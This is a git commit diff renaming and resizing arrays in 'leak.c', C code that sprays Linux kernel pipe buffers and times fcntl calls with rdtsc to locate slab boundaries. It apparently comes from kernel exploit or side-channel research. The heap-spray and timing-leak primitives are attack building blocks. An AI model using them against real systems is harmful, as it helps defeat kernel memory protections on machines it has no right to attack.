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correct size arrays

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twoneis 2025-04-25 09:16:45 +02:00
parent 6302c9a02c
commit 56d0721fa8
1 changed files with 10 additions and 9 deletions
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19
code/leak.c
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@ -11,10 +11,11 @@
// where does this come from? // where does this come from?
#define OBJS_PER_SLAB 42 #define OBJS_PER_SLAB 42
#define PIPE_BUFFER (OBJS_PER_SLAB * 10)
#define SPRAY (OBJS_PER_SLAB * 100) #define SPRAY (OBJS_PER_SLAB * 100)
#define PIPES (OBJS_PER_SLAB * 10)
int pipes[PIPE_BUFFER][2]; int spray[SPRAY][2];
int pipes[PIPES][2];
char buffer[0x100]; char buffer[0x100];
extern inline size_t extern inline size_t
@ -48,15 +49,15 @@ main(void)
printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY); printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY);
for (size_t i = 0; i < SPRAY; i++) { for (size_t i = 0; i < SPRAY; i++) {
int ret; int ret;
ret = pipe2(pipes[i], O_NONBLOCK); ret = pipe2(spray[i], O_NONBLOCK);
if (ret < 0) { if (ret < 0) {
printf("main: error: pipe2: object %lu\n", i); printf("main: error: pipe2: object %lu\n", i);
} }
ret = fcntl(pipes[i][0], F_SETPIPE_SZ, 2 << 12); ret = fcntl(spray[i][0], F_SETPIPE_SZ, 2 << 12);
if (ret < 0) { if (ret < 0) {
printf("main: error: fcntl: object %lu\n", i); printf("main: error: fcntl: object %lu\n", i);
} }
ret = write(pipes[i][1], buffer, 8); ret = write(spray[i][1], buffer, 8);
if (ret < 0) { if (ret < 0) {
printf("main: error: write: object %lu\n", i); printf("main: error: write: object %lu\n", i);
} }
@ -76,13 +77,13 @@ main(void)
size_t t_prev = -1; size_t t_prev = -1;
size_t last_slab = -1; size_t last_slab = -1;
for (size_t i = 0; i < SPRAY; i++) { for (size_t i = 0; i < SPRAY; i++) {
pipe2(pipes[i], O_NONBLOCK); pipe2(spray[i], O_NONBLOCK);
size_t t0 = rdtsc_begin(); size_t t0 = rdtsc_begin();
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192); fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
size_t t1 = rdtsc_end(); size_t t1 = rdtsc_end();
write(pipes[i][1], buffer, 8); write(spray[i][1], buffer, 8);
t_delta = t0 - t1; t_delta = t0 - t1;
@ -99,7 +100,7 @@ main(void)
t_prev = t_delta; t_prev = t_delta;
} }
for (size_t i = 0; i < PIPE_BUFFER; i++) { for (size_t i = 0; i < PIPES; i++) {
// Pipe buffer allocation primitive // Pipe buffer allocation primitive
pipe2(pipes[i], O_NONBLOCK); pipe2(pipes[i], O_NONBLOCK);
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192); fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);